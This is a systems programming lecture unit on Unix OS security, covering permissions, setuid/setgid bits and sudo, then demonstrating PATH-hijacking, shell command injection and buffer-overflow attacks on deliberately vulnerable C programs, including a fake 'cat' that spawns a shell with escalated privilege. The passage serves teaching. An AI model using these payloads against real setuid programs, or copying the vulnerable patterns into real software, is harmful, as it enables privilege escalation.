Unit 7: OS Security
Table of Contents
1 O.S. Security Basics for Users and Groups
Through this class we have seen a number of security settings provided by the operating system. Formost, we discussed users and groups, file permissions, the terminal login, and finally the concept of system calls generally and how that system is designed to protect the user from itself.
Let's take a moment to review some of these concepts and the O.S. security settings thereof.
1.1 Users and Groups
All users are defined in the /etc/passwd
file with lines like such:
.-- user name .-- full name .--- home directory | | | v v v aviv:x:35001:10120:Adam Aviv {}:/home/scs/aviv:/bin/bash ^ ^ ^ uid ----' '--- gid (Default) '--- default shell
This is my passwd entry. It stores my user name, my user id, my
default group id, my full name, my home directory, and my default
shell. Every user has a unique username, user id, and default group;
however, a user can be assigned to multiple groups. Group information
is fined in the /etc/group
directory, and here is entry for my
default group:
.-- group name | v scs:*:10120:webadmin,www-data,lucas,slack ^ \___________________________/ gid ---' | '- Additional users in that group
From the command line, the tool id
will print this information, as
well as groups
aviv@saddleback: ~ $ id uid=35001(aviv) gid=10120(scs) groups=10120(scs),27(sudo),15000(mids) aviv@saddleback: ~ $ groups scs sudo mids
One thing you might notice is that I am in the sudo
group … on
this computer, at least. We'll come back to this later.
1.2 Permissions
Access to files are permission-ed based on the user and group
designation of the accessing agent. Typically, this is a user, but the
same designations are assigned to running processes. The permissions
of a file can be observed using ls -l
or stat
:
aviv@saddleback: demo $ ls -l total 4 -rwxr--r-- 1 aviv scs 0 Mar 27 09:41 a -rw--wx--- 1 aviv scs 0 Mar 27 09:41 b -------rwx 1 aviv scs 0 Mar 27 09:41 c drwxr-x--- 2 aviv scs 4096 Mar 27 09:41 d aviv@saddleback: demo $ stat b File: ‘b’ Size: 0 Blocks: 0 IO Block: 524288 regular empty file Device: 1ch/28d Inode: 34996239 Links: 1 Access: (0630/-rw--wx---) Uid: (35001/ aviv) Gid: (10120/ scs) Access: 2015-03-27 09:41:22.884094861 -0400 Modify: 2015-03-27 09:41:22.884094861 -0400 Change: 2015-03-27 09:41:41.292753637 -0400
And if we look at a particular mode portion, let's recall how the permissions are identified:
user other .- group | | | .-. .-. v -rwxr--r-- 1 aviv scs 0 Mar 27 09:41 a ^ '-' ^ | | '-- user/owner | group | '- Directory Bit
When an operation is performed on the file, such as reading, writing,
or executing, the user taking the action is compared to the
permission. If the right permissions are set, and the user matches
those permissions, the action can be taken. For example, a user that
is not aviv
may still read the file if they are in group
scs
. More, even a user who meets neither criteria, the owner or
group of the file, can still read the file because the other read
permission is set.
Permissions of files can be changed using three commands:
chmod
: change the permissions string of the file which can only be done by the owner of the file (or super user).chgrp
: change the group of the file which can only be done by the owner of the file (or super user)chown
: change the owner of the file which can only be done by the super user.
The super user for unix systems is referred as root
. It has full
privileges and can do whatever it wants. Creating multiple levels of
permissions by dividing users from one privilege to another is a key
security concept. A key question is how does this occur? To understand
this process, we have to start with when the user logs in.
1.3 Terminal Login and Password Checking
The log procedure is not a huge focus of this lesson; however, what
happens after login is incredibly relevant. Recall from the lectures
on the tty
that when a user "calls" a tty
the program getty
will
execute login
. Following the diagram:
runs as root ....................................... : .-------. : : | getty | : : '-------' : : | : : exec() <-------. : : | | : : (1) v | (failed) : : .--------. | ............: : | login | ------' : : '--------' : runs as the user : | (success) : .................................. : | ............: : : : | : ............: .-------. (3) : : fork() -:---:- exec() --> | shell | : :.............: ^ : '-------' : (2) | : | .----. : changes ______| : fork() --- exec() --> | ls | : user : '----' : :............................................:
At (1), the log procedure is going to authentic a user by asking for a
password. While it would seem logical for passwords to be stored in
/etc/passwd
, it isn't. The reason /etc/passwd
is named such is
that it used to store password; however, that is no longer the
case. Now passwords are stored are in the file /etc/shadow
which is
carefully protected, and passwords are not stored in plain text in
/etc/shadow
but rather stored using secure hashes.
Of more interest to this lesson is what happens if the user
successfully logs into the system. The log in procedure needs to run
in a privileged state so that passwords can be checked from
/etc/shadow
. Only the root user has access to read/write the file,
but we do not want it to be the case that when the user's shell starts
up he/she gets the same permissions as the root user. To prevent that,
there is a deescalation of privilege level by setting the effective
user of the shell program to the user the that just logged onto the
system – occurring at step (2). By the time the shell executes
commands, the user is running — occurring at step (3).
2 Users/Group Capabilities of Programs
Running programs inherit the permissions of the user who execute it, but we will see how that might change. To start, let us first look at the system programming constructs for observing and testing the users permission, and the errors associated with permission. Following, we can look at how to escalate or change the permission settings.
2.1 Observing the privilege settings of programs
There are two basic system calls for retrieving useer and group information for an execution program.
uid_t getuid(void)
: Returns the real user id of the calling process.gid_t getgid(void)
: Returns the real group id of the calling process.
Let's look at an example program.
/*get_uidgid.c*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char * argv[]){
uid_t uid;
gid_t gid;
uid = getuid();
gid = getgid();
printf("uid=%d gid=%d\n", uid, gid);
}
When executing, my user id and group id is printed to the terminal:
m179998@saddleback: git $ ~aviv/lec-23-demo/get_uidgid uid=179998 gid=15000
These values are mine. If you were to run the same program, you would
get a different value. For example, I have a test student account
m17998
and if I run this program as that user:
m159998@saddleback: git $ ~aviv/lec-23-demo/get_uidgid uid=35013 gid=15000 m159998@saddleback: git $ ls -l ~aviv/lec-23-demo/get_uidgid -rwxr-x--x 1 aviv scs 8622 Mar 30 10:40 /home/scs/aviv/lec-23-demo/get_uidgid
Even though the program is owned by the user aviv
, the execution of
the program as the process takes on the permissions of the user that
runs the program, which is m179998
in this demo. However, this could
be changed.
2.2 Extra permission modes for set-user-id/set-group-id
There is also an obvious need to be able to set the user/group privileges of a running program. For example, consider the submission system we have been using all semester. You all run a program in my home directory:
~aviv/bin/ic221-submit
This program, run by you, has your user and group permissions, but it is able to take your submission and copy/save those submissions to my home directory, with my permissions at a location where you do not have access to write. How is that possible?
If you could somehow change the user/group setting of the running program to my user/group priviledge, then you could write to my home directory. This is essentially how the submission system works.
To have a program run with a different user's capabilities requires
additional permissions on the program beyond just that the user can
execute the program. These permissions are called the set-bit and
if we look at the man page for chmod
, the set-bit is composed of
three permission bits we previously ignored:
A numeric mode is from one to four octal digits (0-7), derived by adding up the bits with values 4, 2, and 1. Omitted digits are assumed to be leading zeros. *The first digit selects the set user ID (4) and set group ID (2) and restricted deletion or sticky (1) attributes.* The second digit selects permissions for the user who owns the file: read (4), write (2), and execute (1); the third selects permissions for other users in the file's group, with the same values; and the fourth for other users not in the file's group, with the same values.
That is, we previously assumed a permission string contained 3 octal digits, but really there are 4 octal digits. The missing octal digit is that for the set-bits. There are three possible set-bit settings and they are combined in the same way as other permissions:
- 4 or
s+u
: set-user-id : sets the program's effective user id to the owner of the program - 2 or
s+g
: set-group-id : sets the program's effective group id to the group of the program - 1 or
t
: the sticky bit : used to denote the memory loading of a program or directory
These bits are used in much the same way as the other permission
modes. For example, we can change the permission of our get_uidgid
program
from before like so:
chmod 6751 get_uidgid
And we can interpet the octals like so:
set group bits user | other | | | | V V V V 110 111 101 001 6 7 5 1
When we look at the ls -l
output of the program, the permission
string reflects these settings with an "s" in the execute part of the
string for user and group.
aviv@saddleback: lec-23-demo $ ls -l get_uidgid -rwsr-s--x 1 aviv scs 8778 Mar 30 16:45 get_uidgid
2.3 Real vs. Effective Capabilities
With the set-bits, when the program runs, the capabilities of the program are effectively that of the owner and group of the program. However, the real user id and real group id remain that of the user who ran the program. This brings up the concept of effective vs. real identifiers:
- real user id (or group id) : the identifier of the actual user who executed a program
- effective user id (or group id) : the idenifier for the capabilities or permissions settings of an executing program.
The system calls getuid()
and getgid()
return the real user and
group identifiers, but we can also retrieve the effective user and
group identifiers:
uid_t geteuid(void)
: return the effective user identifier for the calling processgid_t getegid(void)
: return the effective group identifer for the calling process
We now have enough to test set-bit programs using a the following program that prints both the real and effective user/group identities.
/*get_euidegid.c*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char * argv[]){
uid_t uid,euid;
gid_t gid,egid;
uid = getuid();
gid = getgid();
printf(" uid=%d gid=%d\n", uid, gid);
euid = geteuid();
egid = getegid();
printf("euid=%d egid=%d\n", euid, egid);
}
As the owner of the file, after compilation, the permissions can be set to add set-user-id:
aviv@saddleback: lec-23-demo $ make get_euidegid cc get_euidegid.c -o get_euidegid aviv@saddleback: lec-23-demo $ chmod u+s get_euidegid aviv@saddleback: lec-23-demo $ ls -l get_euidegid -rwsr-x--x 1 aviv scs 8730 Mar 31 08:31 get_euidegid
Now as the m179998 user, the program can be run, and we see that the
effective user id of the program is aviv
's id:
m179998@saddleback: ~ $ ~aviv/lec-23-demo/get_euidegid uid=179998 gid=15000 euid=35001 egid=15000 m179998@saddleback: ~ $ id uid=179998(m179998) gid=15000(mids) groups=15000(mids),15001(ic221) m179998@saddleback: ~ $ id aviv uid=35001(aviv) gid=10120(scs) groups=27(sudo),15000(mids),10120(scs),15001(ic221)
Continuing the example, we can see the other set-bit settings give different effective user/group settings:
aviv@saddleback: lec-23-demo $ chmod g+s get_euidegid aviv@saddleback: lec-23-demo $ ls -l get_euidegid -rwsr-s--x 1 aviv scs 8730 Mar 31 08:31 get_euidegid
m179998@saddleback: ~ $ ~aviv/lec-23-demo/get_euidegid uid=179998 gid=15000 euid=35001 egid=10120
aviv@saddleback: lec-23-demo $ ls -l get_euidegid -rwxr-s--x 1 aviv scs 8730 Mar 31 08:31 get_euidegid
m179998@saddleback: ~ $ ~aviv/lec-23-demo/get_euidegid uid=179998 gid=15000 euid=179998 egid=10120
And just to show how the effective user ID plays a role, let's consider what happens when we have set-group-id program that opens a file:
/*create_file.c*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
int main(int argc, char * argv[]){
int i,fd;
for(i=0;i<argc;i++){
//create an empty file
if( (fd = open(argv[i],O_CREAT,0666) > 0) ){
close(fd);
}else{
perror("open");
}
}
return 0;
}
When we compile we can set this program to set-group-id:
aviv@saddleback: lec-23-demo $ make create_file cc create_file.c -o create_file aviv@saddleback: lec-23-demo $ chmod g+s create_file aviv@saddleback: lec-23-demo $ ls -l create_file -rwxr-s--x 1 aviv scs 8620 Mar 31 08:41 create_file
Now, let's create a file as the m179998
user:
m179998@saddleback: ~ $ ~aviv/lec-23-demo/create_file a b c m179998@saddleback: ~ $ ls -l a b c -rw-r----- 1 m179998 scs 0 Mar 31 08:42 a -rw-r----- 1 m179998 scs 0 Mar 31 08:42 b -rw-r----- 1 m179998 scs 0 Mar 31 08:42 c
Notice that the group of the file is scs
not mids
, which is the
default group.
However, see what happens if we make this program set-user-id instead:
aviv@saddleback: lec-23-demo $ chmod g-s create_file aviv@saddleback: lec-23-demo $ chmod u+s create_file aviv@saddleback: lec-23-demo $ ls -l create_file -rwsr-x--x 1 aviv scs 8620 Mar 31 08:41 create_file
m179998@saddleback: ~ $ rm -f a b c m179998@saddleback: ~ $ ~aviv/lec-23-demo/create_file a b c open: Permission denied open: Permission denied open: Permission denied m179998@saddleback: ~ $ ls -l a b c ls: cannot access a: No such file or directory ls: cannot access b: No such file or directory ls: cannot access c: No such file or directory
The operation is not permitted, and this is because the user aviv
does not have the permission to write to the directory. But, what if
we wanted to create a file in the director that is owned by aviv
in
a directory that the real user has permission to write to? What we
need is a way to programmatically change the capabilities.
2.4 Programmatically Downgrading/Upgrading Capabilities
The set-bits automatically start a program with the effective user or group id set; however, there are times when we might want to downgrade priviledge or change permission dynamically. There are two system calls to change user/group settings of an executing process:
setuid(uid_t uid)
: change the effective user id of a process touid
setgid(gid_t gid)
: change the effective group id of a proces togid
The requirements of setuid()
(for all users other than root) is that
the effective user id can be changed to the real user id of the
program or to an effective user id as described in the set-bits. The
root user, however, can downgrade to any user id and upgrade back to
the root user. For setgid()
the user can chance the group id to any
group the user belongs to or as allowed by the set-group-id bit.
Now we can look at a program that downgrades and upgrades a program dynamically:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(){
uid_t uid,euid;
gid_t gid,egid;
uid_t saved_euid;
uid = getuid();
gid = getgid();
printf(" uid=%d gid=%d\n", uid, gid);
euid = geteuid();
egid = getegid();
printf("euid=%d egid=%d\n", euid, egid);
saved_euid=euid;
setuid(uid);
printf("---- setuid(%d) ----\n",uid);
uid = getuid();
gid = getgid();
printf(" uid=%d gid=%d\n", uid, gid);
euid = geteuid();
egid = getegid();
printf("euid=%d egid=%d\n", euid, egid);
setuid(saved_euid);
printf("---- setuid(%d) ----\n",saved_euid);
uid = getuid();
gid = getgid();
printf(" uid=%d gid=%d\n", uid, gid);
euid = geteuid();
egid = getegid();
printf("euid=%d egid=%d\n", euid, egid);
}
If we look at the output with the program set-user-id ran by m179998
:
m179998@saddleback: ~ $ ~aviv/lec-23-demo/setuid uid=179998 gid=15000 euid=35001 egid=15000 ---- setuid(179998) ---- uid=179998 gid=15000 euid=179998 egid=15000 ---- setuid(35001) ---- uid=179998 gid=15000 euid=35001 egid=15000
3 sudo
and su
With this understanding of how user and group id are assigned, we can
turn our attention to two built in commands that perform these
actions. In particular, sudo
and su
which will execute a command
as a specified user or switch to a specified user. By default, these
commands execute as the root user, and you need to know the root
password or have sudo access to use them.
We can see this as the case if I were to run the get_euidegid
program using sudo
. First notice that it is no longer set-group or
set-user:
aviv@saddleback: lec-23-demo $ ls -l get_euidegid -rwxr-x--x 1 aviv scs 8730 Mar 31 08:31 get_euidegid aviv@saddleback: lec-23-demo $ sudo ./get_euidegid [sudo] password for aviv: uid=0 gid=0 euid=0 egid=0
After sudo authenticated me, the program's effective and real user identification becomes 0 which is the uid/gid for the root user.
3.1 sudoers
Who has permission to run sudo
commands? This is important because
on many modern unix systems, like ubuntu, there is no default root
password. Instead certain users are deemed to be sudoers
or
privileged users. These are set in a special configuraiton file called
the /etc/sudoers
.
aviv@saddleback: lec-23-demo $ cat /etc/sudoers cat: /etc/sudoers: Permission denied aviv@saddleback: lec-23-demo $ sudo cat /etc/sudo sudoers sudoers.d/ aviv@saddleback: lec-23-demo $ sudo cat /etc/sudoers # # This file MUST be edited with the 'visudo' command as root. # # Please consider adding local content in /etc/sudoers.d/ instead of # directly modifying this file. # # See the man page for details on how to write a sudoers file. # Defaults env_reset Defaults mail_badpass Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" # Host alias specification # User alias specification # Cmnd alias specification # User privilege specification root ALL=(ALL:ALL) ALL # Members of the admin group may gain root privileges %admin ALL=(ALL) ALL # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL # See sudoers(5) for more information on "#include" directives: #includedir /etc/sudoers.d
Notice that only root has access to read this file, and since I am a
sudoer on saddleback
I can get access to it. If you look carefully,
you can perform a basic parse of the settings. The root user has full
sudo permissions, and other sudoer's are determine based on group
membership. Users in the sudo or admin group may run commands as root,
and I am a member of the sudo group:
aviv@saddleback: lec-23-demo $ id uid=35001(aviv) gid=10120(scs) groups=10120(scs),27(sudo),15000(mids),15001(ic221)
However, on a lab machine, I do not have such group settings:
aviv@mich302csd01u: ~ $ id uid=35001(aviv) gid=10120(scs) groups=10120(scs),15000(mids)
4 Attacks on System Programs
It is an unfortunate truth of security that all programs have faults because humans have faults — human's write programs. As such, we will take some time to understand the kinds of mistakes you, me, and all programmers may make that can lead to security violations.
This is a broad topic area, and we only have a small amount of time to talk about it. We will focus on three classes of attack that are very common for the kinds of programs we've been writing in this course.
- Path Lookup Attacks: Where the attacker leverages path lookup to compromise an executable or library
- Injection Attacks: Where an attacker can inject code, usually in the form of bash, into a program that will get run.
- Overflow Attacks: Where the attack overflows a buffer to alter program state.
In isolation, each of these attacks can just make a program misbehave; however, things get interesting when you have privilege escalation, such as with the set-bits. A privilege program that can be exploited will be able to perform arbitrary tasks.
Each of these topics have great nuance, and the hope is to give you a general overview so you can explore the topic more on your own.
5 Path Attacks
We've been using path lookup throughout the class. Perhaps the best example is when we are in the shell and type a command:
aviv@saddleback: demo $ cat helloworld.txt Hello World
The command cat
is run, but the program that is actually cat's the
file exists in a different place in the file system. We can find that
location using the which
command:
aviv@saddleback: demo $ which cat /bin/cat
So when we type cat
, we are really executing /bin/cat
which is
found by exploring the PATH enviroment variable:
aviv@saddleback: demo $ echo $PATH /home/scs/aviv/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
Each of the directories listed is searched, in order, until that command is found. Environment variables are global variables set across programs that provide information about the current environment.
The PATH variable is a perfect example of this, and the
customizability of the environment variables. If you look at the
directories along my path, I have a bin
directory Win my home directory so I
can load custom binaries. The fact that I can customize the PATH
in
this way can lead to some interesting security situations.
5.1 system()
To help this conversation, we need to introduce two library functions
that work much like execvp()
with a fork()
, like we've done all
along, but more compact. Here's the description in the manual page:
NAME system - execute a shell command SYNOPSIS #include <stdlib.h> int system(const char *command); DESCRIPTION system() executes a command specified in command by calling /bin/sh -c command, and returns after the command has been completed. During execution of the command, SIGCHLD will be blocked, and SIGINT and SIGQUIT will be ignored.
That is, the system()
function will run an arbitrary shell
command. Let's look at a very simple example, a "hello world" that
uses two commands.
/*system_cat.c*/
#include <stdio.h>
#include <stdlib.h>
int main(){
system("cat");
}
aviv@saddleback: demo $ echo "Hello World" | ./system_cat Hello World
The system_cat
program runs cat with system()
, and so it will
print whatever it reads from stdin to the screen. It turns out, that
this program, despite its simplicity, actually has a relatively bad
security flaw. Let's quickly consider what might happen if we were to
change the PATH
value to include our local directory:
aviv@saddleback: demo $ export PATH=.:$PATH aviv@saddleback: demo $ echo $PATH .:/home/scs/aviv/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
So now the local directory is on the path, and if I were to create a
program named cat
, then that cat would run instead of the one you
would expect. For example, here is such a program:
/*cat.c*/
#include <stdlib.h>
int main(){
system("echo 'Goodbye World'");
}
Now, when we run our program for system_cat
, we don't get the same result:
aviv@saddleback: demo $ echo "Hello World" | ./system_cat Hello World aviv@saddleback: demo $ make clang -g -Wall cat.c -o cat aviv@saddleback: demo $ echo "Hello World" | ./system_cat Goodbye World
This is not just a problem with the system()
command, but also
execvp()
, which will also look up commands along the path.
#include <unistd.h>
int main(){
char * args[] = {"cat",NULL};
execvp(args[0],args);
}
aviv@saddleback: demo $ echo "Hello World" | ./execvp_cat Hello World aviv@saddleback: demo $ make clang -g -Wall cat.c -o cat aviv@saddleback: demo $ echo "Hello World" | ./execvp_cat Goodbye World
How do we fix this? There are two solutions:
- Always use full paths. Don't specify a command to run by its name, instead describe exactly which program is to be executed.
- Fix the path before executing using
setenv()
You can actually control the current PATH
setting during execution. To do this you can set the enviorment variables using setenv()
and getenv()
#include <stdlib.h>
#include <unistd.h>
int main(){
//ensure the enviorment only has the path we want
//and overwrite
setenv("PATH","/bin",1);
char * args[] = {"cat",NULL};
execvp(args[0],args);
}
aviv@saddleback: demo $ echo "Hello World" | ./setenv_cat Hello World aviv@saddleback: demo $ make clang -g -Wall cat.c -o cat aviv@saddleback: demo $ echo "Hello World" | ./setenv_cat Hello World
5.2 Path attacks with set-user-id bits
Clearly, ensuring the PATH
is correct is vitally important, but
let's see what happens when we introduce set-user-id to the mix. This
time, I've set the program system_cat
to be set-user-id in a place
that others can run it:
aviv@saddleback: lec-24-demo $ chmod u+s system_cat aviv@saddleback: lec-24-demo $ ls -l total 12 -rwsr-x--x 1 aviv scs 9742 Mar 31 16:09 system_cat
Now as user m179998, I'm going to run the program.
m179998@saddleback: ~ $ echo "Hello World" | ~aviv/lec-24-demo/system_cat Hello World
It works like cat
, and so we are going to do a PATH
attack again,
by add the local directory to the path.
m179998@saddleback: ~ $ export PATH=.:$PATH m179998@saddleback: ~ $ echo $PATH .:/home/mids/m179998/bin:/usr/local/bin:/usr/bin:/usr/include:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
This time, instead of doing something silly with our version of cat
lets do something not so silly. Let's have it run a shell and also set
our real user id:
#include <stdlib.h>
#include <stdlib.h>
int main(){
char * args[]={"/bin/sh",NULL};
//set our real uid to our effective uid
setreuid(geteuid(),geteuid());
execvp(args[0],args);
}
This time when we run the system_cat
program, it will run bash
as
the set-user-id user. Now we've just escalated privilege.
m179998@saddleback:~$ ~aviv/lec-24-demo/system_cat $ id uid=35001(aviv) gid=15000(mids) groups=10120(scs),15000(mids),15001(ic221) $ bash bash: /home/mids/m179998/.bashrc: Permission denied aviv@saddleback:~$
And now user m179998
has become user aviv
!
6 Injection Attacks
Now, lets consider a situation where you use system()
better. You
call all programs with absolute path and everything, but even that is
not enough. You must also consider injection attacks which is when the
attacker can inject code that will run. In our case, the injected code
will be bash
.
Consider this program which prompts the user for a file to cat
out.
/* inject_system.c*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){
char cmd[1024] = "/bin/cat ./"; //will append to this string
char input[40];
printf("What input do you want to 'cat' (choose from below)\n");
system("/bin/ls"); //show available files
printf("input > ");
fflush(stdout); //force stdout to print
scanf("%s",input);//read input
strcat(cmd,input); //create the command
printf("Executing: %s\n", cmd);
fflush(stdout); //force stdout to print
system(cmd);
}
If we were to run this program, it does mostly what you expect:
aviv@saddleback: demo $ ./inject_system What input do you want to 'cat' (choose from below) cat.c execvp_cat.c inject_system.c input.txt mal-lib overflow_system.c run_foo run_foo.o setenv_cat.c shared-lib system_cat.c execvp_cat inject_system inject_system.c~ Makefile overflow_system overflow_system.c~ run_foo.c setenv_cat setenv_cat.c~ system_cat #system-ex.c# input > inject_system.c Executing: /bin/cat ./inject_system.c #include <stdio.h> #include <stdlib.h> #include <string.h> int main(){ char cmd[1024] = "/bin/cat ./"; //will append to this string char input[40]; printf("What input do you want to 'cat' (choose from below)\n"); system("/bin/ls"); //show available files printf("input > "); fflush(stdout); //force stdout to print scanf("%s",input);//read input strcat(cmd,input); //create the command printf("Executing: %s\n", cmd); fflush(stdout); //force stdout to print system(cmd); }
Ok, now consider if we were to provide input that doesn't fit this model. What if we were to provide shell commands as input.
aviv@saddleback: demo $ ./inject_system What input do you want to 'cat' (choose from below) cat.c execvp_cat.c inject_system.c input.txt mal-lib overflow_system.c run_foo run_foo.o setenv_cat.c shared-lib system_cat.c execvp_cat inject_system inject_system.c~ Makefile overflow_system overflow_system.c~ run_foo.c setenv_cat setenv_cat.c~ system_cat #system-ex.c# input > ;echo Executing: /bin/cat ./;echo /bin/cat: ./: Is a directory aviv@saddleback: demo $
The input we provided was ";echo" the semi-colon closes off a bash
command alowing a new one to start. Notice that there is an extra new
line printed, that was the echo
printing. Now, can we get this
program to run something more interesting?
We still have the cat
program we wrote that prints "Goodbye World"
and the PATH
is set up to look in the local directory. Setting that
up, we get the following result:
aviv@saddleback: demo $ ./inject_system What input do you want to 'cat' (choose from below) cat execvp_cat inject_system inject_system.c~ Makefile overflow_system overflow_system.c~ run_foo.c setenv_cat setenv_cat.c~ system_cat #system-ex.c# cat.c execvp_cat.c inject_system.c input.txt mal-lib overflow_system.c run_foo run_foo.o setenv_cat.c shared-lib system_cat.c input > ;cat Executing: /bin/cat ./;cat /bin/cat: ./: Is a directory Goodbye World
At this point, we own this program (pwn in the parlance). If the program were set-user-id, we could escalate our privilege.
7 Overflow Attacks
Two attacks down, moving onto the third. Let's now assume that the programmer has wised up to the two previous attacks. Now we are using full paths to executables and we are scrubbing the input to remove any potential bash commands prior to execution. The result is the following program:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){
char cmd[1024] = "/bin/cat ./"; //will append to this string
char input[40];
printf("What input do you want to 'cat' (choose from below)\n");
system("/bin/ls"); //show available files
printf("input > ");
fflush(stdout); //force stdout to print
scanf("%s",input);//read input
//clean input before passing to /bin/cat
int i;
for(i=0;i<40;i++){
if(input[i] == ';' || input[i] == '|' || input[i] == '$' || input[i] == '&'){
input[i] = '\0'; //change all ;,|,$,& to a NULL
}
}
//concatenate the two strings
strcat(cmd,input);
printf("Executing: %s\n", cmd);
fflush(stdout);
system(cmd);
}
aviv@saddleback: demo $ make clang -g -Wall cat.c -o cat clang -g -Wall overflow_system.c -o overflow_system aviv@saddleback: demo $ ./overflow_system What input do you want to 'cat' (choose from below) cat execvp_cat inject_system inject_system.c~ Makefile overflow_system overflow_system.c~ run_foo.c setenv_cat setenv_cat.c~ system_cat #system-ex.c# cat.c execvp_cat.c inject_system.c input.txt mal-lib overflow_system.c run_foo run_foo.o setenv_cat.c shared-lib system_cat.c input > ;cat Executing: /bin/cat ./ /bin/cat: ./: Is a directory #+END_SRC
This time, no dice, but the jig is not up yet. There is an overflow attack. Consider what happens when we increase the size of the input selection. To do this programatically, I'm going to use a small trick of the python programming language to print a bunch of 'A's.
aviv@saddleback: demo $ python -c "print 'A'*10" AAAAAAAAAA aviv@saddleback: demo $ python -c "print 'A'*20" AAAAAAAAAAAAAAAAAAAA aviv@saddleback: demo $ python -c "print 'A'*30" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA aviv@saddleback: demo $ python -c "print 'A'*40" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA aviv@saddleback: demo $ python -c "print 'A'*50" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
I'm using this to produce strings of varying length, length 10, 20, 30, 40, and 50. Those strings can be sent to the target program using a pipe. And we can see the result:
aviv@saddleback: demo $ python -c "print 'A'*10" | ./overflow_system What input do you want to 'cat' (choose from below) cat execvp_cat inject_system inject_system.c~ Makefile overflow_system overflow_system.c~ run_foo.c setenv_cat setenv_cat.c~ system_cat #system-ex.c# cat.c execvp_cat.c inject_system.c input.txt mal-lib overflow_system.c run_foo run_foo.o setenv_cat.c shared-lib system_cat.c input > Executing: /bin/cat ./AAAAAAAAAA /bin/cat: ./AAAAAAAAAA: No such file or directory aviv@saddleback: demo $ python -c "print 'A'*20" | ./overflow_system What input do you want to 'cat' (choose from below) cat execvp_cat inject_system inject_system.c~ Makefile overflow_system overflow_system.c~ run_foo.c setenv_cat setenv_cat.c~ system_cat #system-ex.c# cat.c execvp_cat.c inject_system.c input.txt mal-lib overflow_system.c run_foo run_foo.o setenv_cat.c shared-lib system_cat.c input > Executing: /bin/cat ./AAAAAAAAAAAAAAAAAAAA /bin/cat: ./AAAAAAAAAAAAAAAAAAAA: No such file or directory aviv@saddleback: demo $ python -c "print 'A'*30" | ./overflow_system What input do you want to 'cat' (choose from below) cat execvp_cat inject_system inject_system.c~ Makefile overflow_system overflow_system.c~ run_foo.c setenv_cat setenv_cat.c~ system_cat #system-ex.c# cat.c execvp_cat.c inject_system.c input.txt mal-lib overflow_system.c run_foo run_foo.o setenv_cat.c shared-lib system_cat.c input > Executing: /bin/cat ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA /bin/cat: ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such file or directory aviv@saddleback: demo $ python -c "print 'A'*40" | ./overflow_system What input do you want to 'cat' (choose from below) cat execvp_cat inject_system inject_system.c~ Makefile overflow_system overflow_system.c~ run_foo.c setenv_cat setenv_cat.c~ system_cat #system-ex.c# cat.c execvp_cat.c inject_system.c input.txt mal-lib overflow_system.c run_foo run_foo.o setenv_cat.c shared-lib system_cat.c input > Executing: /bin/cat ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA /bin/cat: ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such file or directory aviv@saddleback: demo $ python -c "print 'A'*50" | ./overflow_system What input do you want to 'cat' (choose from below) cat execvp_cat inject_system inject_system.c~ Makefile overflow_system overflow_system.c~ run_foo.c setenv_cat setenv_cat.c~ system_cat #system-ex.c# cat.c execvp_cat.c inject_system.c input.txt mal-lib overflow_system.c run_foo run_foo.o setenv_cat.c shared-lib system_cat.c input > Executing: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA sh: 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: not found
Something changes at when the input string is 50 bytes long. We
overflow the buffer for the input. Recall that the input
buffer is
only 40 bytes and size, and it is placed adjacent to the cmd
buffer:
char cmd[1024] = "/bin/cat ./"; //will append to this string
char input[40];
When the input buffer overflows, we begin to write 'A's to cmd
which
replaces "/bin/cat". Finally, we concatenate cmd
with input
,
resulting in a long string of 'A's for the command being executed by
system()
. We can see this from the error output.
How do we leverage this error to pwn this program? The program is trying to execute a command that is "AAA…" and we can control the PATH. Let's create such a program named "AAA…" Rather than writing a new program, we can use sym-linking.
ln -s cat AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA aviv@saddleback: demo $ ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Goodbye World
Now when we execute the overflow, we get our desired "Goodbye World" result:
